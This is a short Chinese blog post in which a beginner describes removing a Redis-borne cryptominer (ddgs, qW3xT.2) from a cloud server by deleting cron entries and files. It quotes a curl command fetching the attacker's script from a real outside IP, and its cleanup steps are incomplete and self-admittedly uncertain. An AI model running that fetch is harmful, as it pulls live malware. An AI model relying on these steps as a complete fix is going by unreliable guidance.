linux系统遇到挖矿程序

作为一个小白，在阿里买个一个服务器用来学习使用，前不久刚安装了redis，犹豫没有及时配置，导致服务器被恶意攻击了

阿里推给我好几条消息，一开始我还没在意，但到真的登入服务器敲命令的时候才发现，很卡！！！

查了一下cpu占有率，发现原来是这个进程的问题，kill把这个进程杀掉，完结！

结果没过多久，整个系统又卡的不行，反映又慢了一拍，查看了下还是这个顽强的进程。。。没辙，只能看看有没有什么解决方案，让我找到了一篇和我遇到情况一模一样的，真是难兄难弟。

直接说解决方案：

在定时任务里面被别人写入了这样一行，果断删除！

但是并没有什么用，就算继续kill掉还是会出现。

接着执行 curl -fsSL http://149.56.106.215:8000/i.sh

通过这个发现

/var/spool/cron/crontabs/root

/var/spool/cron/root（对于这个，我只发现了一个类似的文件，里面写着这个路径，接着把它删了不知对不对）

写入了和定时任务一样的语句，删除！！！

最后删除在 /temp下的两个文件 qW3xT.2文件和ddgs.3013 ,进程再kill掉这两个

到此，系统恢复正常，瞬间操作流畅。记录下，看日后是否还会出现。

原解决方法地址链接：https://blog.csdn.net/weixin_41228949/article/details/81501753